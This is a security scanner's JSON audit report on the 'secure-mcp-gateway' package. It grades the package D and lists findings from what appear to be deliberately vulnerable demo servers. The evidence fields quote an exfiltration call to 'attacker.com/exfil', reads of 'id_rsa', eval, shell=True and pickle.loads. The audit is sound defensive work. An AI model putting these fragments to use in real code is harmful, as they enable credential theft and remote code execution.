Secure Mcp Gateway — the complete, unedited output of the deterministic mcptrustchecker engine v1.5.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.5.0",
"methodologyVersion": "mcptrustchecker-1.4"
},
"target": {
"id": "secure-mcp-gateway",
"source": {
"kind": "package",
"origin": "secure-mcp-gateway"
},
"server": {
"name": "secure-mcp-gateway"
}
},
"grade": "D",
"score": {
"score": 61,
"grade": "D",
"band": "D",
"gateCap": "D",
"categorySubtotals": {
"injection": 0,
"exfiltration": 33,
"permissions": 6.3,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"ruleId": "MTC-SRC-007",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 6.3
},
{
"ruleId": "MTC-SRC-008",
"category": "exfiltration",
"severity": "high",
"confidence": "confirmed",
"rawWeight": 22,
"confidenceMult": 1,
"diminishingFactor": 1,
"appliedPenalty": 22
},
{
"ruleId": "MTC-SRC-008",
"category": "exfiltration",
"severity": "high",
"confidence": "confirmed",
"rawWeight": 22,
"confidenceMult": 1,
"diminishingFactor": 0.5,
"appliedPenalty": 11
}
],
"gatesFired": [
"2 confirmed high findings → grade capped at D"
],
"methodologyVersion": "mcptrustchecker-1.4"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code"
],
"tags": [
"sensitive-source",
"code-exec",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": false,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:286`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": "id_rsa",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 286
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py:35`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py"
},
"evidence": "id_rsa",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py",
"line": 35
}
},
{
"ruleId": "MTC-SRC-008",
"title": "Hardcoded AWS access key id in server code (src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "confirmed",
"description": "A live-looking AWS access key id is hardcoded in `src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py:36`. Secrets in source ship to everyone who installs the package and are a direct credential leak.",
"remediation": "Remove the secret, rotate it, and load credentials from the environment or a secret store.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py"
},
"evidence": "AWS access key id: AKIA…(redacted)",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"secretType": "aws-access-key",
"file": "src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py",
"line": 36
}
},
{
"ruleId": "MTC-SRC-008",
"title": "Hardcoded AWS access key id in server code (src/secure_mcp_gateway/bad_mcps/ssrf_mcp.py)",
"category": "exfiltration",
"severity": "high",
"confidence": "confirmed",
"description": "A live-looking AWS access key id is hardcoded in `src/secure_mcp_gateway/bad_mcps/ssrf_mcp.py:99`. Secrets in source ship to everyone who installs the package and are a direct credential leak.",
"remediation": "Remove the secret, rotate it, and load credentials from the environment or a secret store.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/ssrf_mcp.py"
},
"evidence": "AWS access key id: AKIA…(redacted)",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"secretType": "aws-access-key",
"file": "src/secure_mcp_gateway/bad_mcps/ssrf_mcp.py",
"line": 99
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py",
"line": 27
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (setup.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`setup.py:8`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "setup.py"
},
"evidence": "exec(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "setup.py",
"line": 8
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:328`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": "subprocess.call(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 328
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py"
},
"evidence": "subprocess.call(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py",
"line": 74
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:51`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py"
},
"evidence": "shell=True",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py",
"line": 51
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/secure_mcp_gateway/cli.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/cli.py:2649`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/cli.py"
},
"evidence": "subprocess.run(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/secure_mcp_gateway/cli.py",
"line": 2649
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (tests/test_all_commands.py)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`tests/test_all_commands.py:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/test_all_commands.py"
},
"evidence": "subprocess.run(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/test_all_commands.py",
"line": 42
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:197`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py"
},
"evidence": "fetch('https://attacker.com/exfil'",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py",
"line": 197
}
},
{
"ruleId": "MTC-SRC-007",
"title": "Unsafe deserialization (src/secure_mcp_gateway/bad_mcps/rce_mcp.py)",
"category": "permissions",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:103`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py"
},
"evidence": "pickle.loads(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-007",
"file": "src/secure_mcp_gateway/bad_mcps/rce_mcp.py",
"line": 103
}
},
{
"ruleId": "MTC-SUP-012",
"title": "Package has no license",
"category": "hygiene",
"severity": "info",
"confidence": "strong",
"description": "\"secure-mcp-gateway\" has no declared license. This is a legal/reuse concern, not a security finding.",
"location": {
"kind": "package",
"name": "secure-mcp-gateway"
}
}
],
"toxicFlows": [],
"capabilities": [],
"surfaceDigest": "88d34eb237be8ac745d08e80b7583a3e1f81f79feb405516bcaad845515dac9c",
"stats": {
"tools": 0,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 11,
"medium": 2,
"low": 0,
"info": 1
}
}
}